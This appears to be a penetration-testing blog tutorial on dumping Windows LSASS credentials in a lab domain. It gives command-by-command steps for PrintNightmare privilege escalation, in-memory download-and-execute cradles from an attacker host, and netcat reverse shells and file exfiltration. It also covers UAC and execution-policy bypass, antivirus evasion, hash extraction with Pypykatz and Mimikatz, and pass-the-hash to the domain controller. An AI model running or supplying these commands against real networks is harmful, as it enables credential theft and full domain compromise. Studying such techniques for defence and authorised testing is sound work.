Dumping Credentials – LSASS Process Hashes

In this post we are going to explore various tools and techniques we can use to dump the LSASS process. We will have a look at an example scenario and practical example on how to accomplish this with and without GUI. In the example scenario we will explore techniques for privilege escalation to allow us to dump the LSASS process with GUI. Then, in the extended portion of the scenario, we will explore using a PowerShell version of runas to get a reverse shell where we we will need to perform UAC bypass in order to elevate to a high-integrity shell. Once in a high-integrity shell, we will have the permissions to dump LSASS without GUI.

LSASS, also know as the Local Security Authority Server Service, is a process in Microsoft Windows operating systems that is responsible for enforcing the security policy on the system. It verifies users logging on to a Windows computer or server and creates access tokens.

The key here is the “creates access tokens” part of the definition. This means that whenever a user logs into a workstation or server, their token will remain on the system until the next restart. If a domain admin happened to log into a system we have compromised, we could grab the users hash from this token.

Server’s rarely ever get restarted!

For some context, I have created a scenario where we have gotten a foothold on a host machine as a regular domain user. We will then escalate our privileges by leveraging the Print Spooler service. Next, we will dump the LSASS process and find a domain admins token on the host machine. Lastly, we will use that domain admin hash to pivot to the DC and get full control of the domain.

To dump the LSASS process we need to have local/domain administrator or SYSTEM privileges.

Example Scenario: Privilege Escalation with Print Nightmare

In this scenario we have two domain joined machines,. The first machine is a Windows 10 host and the second is the Domain Controller.

Here is what we have done so far:

We have gotten a foothold on the Windows 10 host as a regular domain user: meisenhardt.

After gaining a foothold, we check the domain admins group and see that there are two users: Administrator and nessex

net group "domain admins" /domain

During our enumeration we find that Print Spooler is running.

Get-Service -Name Spooler

We search on Google and find CVE-2021-1675 aka Print Nightmare, which is a local privilege escalation PowerShell script that can be used to abuse this service. We then copy the script to our attacker machine and hardcode the following command to the bottom of the script:

echo Invoke-Nightmare -DriverName '"Xerox" -NewUser "pwnt" -NewPassword "Password123"' >> print_nightmare.ps1

We start an HTTP server from the attacker machine from the directory hosting our Invoke-Nightmare.ps1 script. Then we use the following IEX command on the victim to download and execute the script directly into memory:

iex(new-object net.webclient).downloadstring('http://172.16.1.30/print_nightmare.ps1')

If this fails to work, keep the command hardcoded at the bottom and then download the script to disk on the victim. Execute the script using dot sourcing and it should automatically execute the hardcoded command and work.

After the script finishes, we check the local admins group and see that the user pwnt has been created as a local admin!

net user
net localgroup administrators

Finally we RDP into the host and obtain a GUI session as the local admin user pwnt.

sudo xfreerdp /u:pwnt /p:'Password123' /v:172.16.1.100 +clipboard

Dumping the LSASS Process: Task Manager (GUI)

Now that we have access as a local admin on the system, we can proceed to dump the LSASS process. Since we have GUI access on the victim, the first way we will dump the LSASS process is by using Task Manager.

To create the dump file, right click on the task bar (bottom bar) and start Task Manager.

Next, click the More Details drop down arrow and then go to the Details tab. From there, scroll down and then right-click on lsass.exe and select “Create Dump File”.

A popup box will appear showing you the path to the dmp file.

Now we need to exfiltrate this file to our attacker machine. To do this we downloaded nc.exe onto the victim and used that to send the file back to our attacker machine.

On the attacker machine, start a netcat listener to grab the file:

nc -nvlp 443 > lsass.DMP

On the victim machine, open cmd.exe and move the DMP file to the folder that nc.exe is located. Then use the following command to push the file:

.\nc.exe 172.16.1.30 443 < lsass.DMP

The download will take some time since the DMP file is quite large. Give it about 1 minute and then check that the file size matches on both sides. Once the entire file has been downloaded, you need to exit out of the connection on the attacker side using CTRL + C.

Netcat does not automatically close after the file is done transferring so you have to manually close the connection.

Extracting the Hashes with Pypykatz

Seeing that the file size matches on both sides, we can proceed to dump the hashes from the lsass.DMP file locally on our attacker machine. To dump the hashes we will use a tool called Pypykatz.

Pypykatz is a Mimikatz implementation in pure Python that allows us to use the power of Mimikatz from our attacker machine to dump hashes locally.

To dump the lsass.DMP file, we will use the following command:

pypykatz lsa minidump lsass.DMP

And it turns out that the domain admin ‘nessex’ had logged into this host and left their token behind!

Using the Domain Admin Hash for a Pass the Hash Attack on the DC

With the hash of a domain admin, we have pwned the domain. We can confirm this using a great tool called crackmapexec by attempting to pass-the-hash to see what access we have.

Attempting to pass-the-hash against the DC, we confirm that we have full access to SMB and WinRM by seeing the words Pwn3d!

crackmapexec smb 172.16.1.5 -u nessex -H 0d53464368d5e2b607cd68ea29a8cc5f
crackmapexec winrm 172.16.1.5 -u nessex -H 0d53464368d5e2b607cd68ea29a8cc5f

The DC is toast at this point! We can now pass-the-hash to login to the DC and get a reverse shell. In this example we will use psexec.py from the Impacket Suite of Tools to pass-the-hash and get a SYSTEM shell on the DC using the following command:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0d53464368d5e2b607cd68ea29a8cc5f juggernaut.local/nessex@172.16.1.5

You may have noticed that I used the full NTLM hash when our dump only provided us with an NT hash. Because LM is blank, we can either use thirty-two zero’s as a placeholder or the NULL hash value like I did above. The NULL hash value for LM is ‘aad3b435b51404eeaad3b435b51404ee’.

At this point we own the DC and can do what we please. We can load up Mimikatz and dump all the hashes, create a golden ticket, etc. The possibilities are endless!

To see how to dump the DC hashes using Mimikatz, you can check out my post here. Similarly, I also have a post on golden ticket and pass-the-ticket attacks here, as well as a post on pass-the-hash attacks you can find here.

Example Scenario Extended: Runas Reverse Shell + UAC Bypass

What if RDP was not open on the victim? After creating our admin user with Print Nightmare, we would need an alternative method to get a reverse shell and dump the LSASS process.

We check our access to WinRM and SMB using crackmapexec and we see that the services are not showing Pwn3d! – This means we cannot use these services to get our shell.

Because the host is domain joined, I added the –local-auth flag to the above command to query the local users on the machine.

We don’t have access through SMB, WinRM or RDP… so now what?

To get our reverse shell as the local admin user pwnt, we will use the PowerShell version of runas.

At this point we just used Print Nightmare to create our local admin user pwnt, but we still have our shell as the regular domain user.

Start a netcat listener on your attacker machine.

We will use 4 commands on the victim to get a reverse shell as the admin user we created. The first three 3 commands are used to create the variables that store the password, username, and hostname. The last command will push a PowerShell shell using netcat to our attacker machine under the context of the admin user we created.

$secpasswd = ConvertTo-SecureString "Password123" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("pwnt", $secpasswd)
$computer = "jugg-meisenhard"
[System.Diagnostics.Process]::Start("C:\users\meisenhardt\downloads\nc.exe","172.16.1.30 443 -e powershell.exe", $mycreds.Username, $mycreds.Password, $computer)

And back on our listener, we should have a shell as the user pwnt.

But when we check our permission, we find that the shell we pushed back to our attacker machine is a low-integrity shell.

The shell we pushed back is the equivalent of opening cmd.exe without right clicking and hitting “Run as Administrator”.

So how do we get an administrator-level or “high-integrity” shell? – We perform UAC bypass!

For more ways to bypass UAC, check out my post on the topic here.

To bypass UAC and get our privileged shell, we will use a nice little script called Bypass-UAC.ps1 that can be downloaded here.

Edit the script to replace all instances of ‘cmd.exe’ with ‘powershell.exe’. The script should now looks like this:

Now that the script is ready to use, we need to download it onto our victim.

I started an http server on my attacker machine with Python and then used curl to download it onto the victim.

With the script now on the victim, we will use dot-sourcing to load the script into our current session and then use it to send back a high-integrity reverse shell to our attacker machine.

However, we find that when we try to load the script, we are blocked by the execution policy.

Not a problem, lets just adjust the command to bypass execution policy and we will be able load this into our current session, like so:

powershell.exe -ep bypass '. .\Bypass-UAC.ps1'

No error indicates that it worked. Now we just need to use the command Bypass-UAC followed by the command we want to execute and it will execute with admin privileges. This means that when we send back a reverse shell will be a high-integrity shell!

Because we already have netcat on the victim, we can use the following command to send back a reverse shell:

Bypass-UAC 'powershell.exe -ep bypass -w hidden -c "C:\users\meisenhardt\downloads\nc.exe 172.16.1.30 443 -e powershell.exe"'

But we get another error… Permission Denied!

This is where the Try Harder mentality is necessary!

To get around this issue, we can simply hardcode the command we want to use to the bottom of the script on our attacker machine. Then we can download the updated script on the victim and it will work.

I tried using IEX first to download directly into memory and that failed too!!

Download the updated script onto the victim and then execute it. when you load the script, it will execute the command automatically.

You will know it worked if you see the following output:

You may need to run the above command twice for this to work. During testing I noticed that sometimes it took 2 attempts to work.

And back on our listener, we have a high-integrity shell and full privileges!

Now that we have our high-integrity shell, we have the permissions necessary to dump the LSASS process.

Dumping the LSASS Process: Procdump64.exe (No GUI)

procdump64.exe is part of the Sysinternals Suite of Tools.

Now that we have our reverse shell as a local admin user, we can download procmon.exe onto the victim.

Once we have procdump64.exe on the victim, dumping the LSASS process is quite trivial. The following command will create a dump file called lsass.dmp in the current directory:

procdump64.exe -ma lsass.exe lsass.dmp -accepteula

This technique may trigger the AV; however, a simple workaround is to find the PID of lsass.exe. Once the PID has been located, you can use the numerical PID value to replace ‘lsass.exe’ in the above command.

Now we can send the dump file to the attacker machine and extract the hashes like we did earlier.

Dumping the LSASS Process: Additional Methods

Out-Minidump.ps1

Out-Minidump.ps1 is a PowerShell script that is part of the PowerShell Empire post-exploitation framework.

Out-Minidump.ps1 can be finicky. During testing I was getting an error when executing it form the reverse shell; however, when I executed the exact same command from GUI, it worked. I also noticed that when I used evil-winrm and then executed the IEX command, it worked no problem.

Again, working from our reverse shell as a local admin user, we will attempt to download and execute Out-Minidump.ps1 directly into memory.

On your attacker machine, copy the script to your working directory and then add the following command at the bottom:

Get-Process lsass | Out-Minidump

Then start an HTTP server from the directory where the script is located.

Once edited and being served up over HTTP, use this command on the victim to download and execute the script directly into memory:

iex(new-object net.webclient).downloadstring('http://172.16.1.30/Out-Minidump.ps1')

But we find that when we try to run this command from the reverse shell, the script fails to execute.

However, when we try the same command from GUI, it works and creates a file on the system like the following:

If you find that WinRM is open (port 5985) and you have permissions to get a shell through that service using a tool called evil-winrm, then this attack will work from that shell without GUI.

And again we can send the dump file to the attacker machine and extract the hashes like we did earlier.

Mimikatz

Another way to dump the LSASS process is by using Mimikatz.

To see the different methods for using Mimikatz, check out my post on it here.

For this example we will use mimikatz.exe to dump the LSASS process. Since this method does not require GUI, we can perform this from our reverse shell as the local admin user after performing UAC bypass.

Download mimikatz onto the victim and then use the following commands to fire up mimikatz and dump all the “logonpasswords”, which is the LSASS process:

token::elevate
privilege::debug
sekurlsa::logonpasswords

With these commands we are: elevating to SYSTEM privileges, confirming that we have elevated our privileges, and then dumping the LSASS process.

We see the top entry is the user we are currently logged in as, but if we scroll down, we will find the domain admin nessex had a session on this host and we have gotten his NT hash!

Now we can take the hash of the Domain Admin user nessex and pwn the DC with another pass-the-hash attack!

Want to stay up to date with the latest hacks?

By entering your email address you will receive a notification every time a new post drops!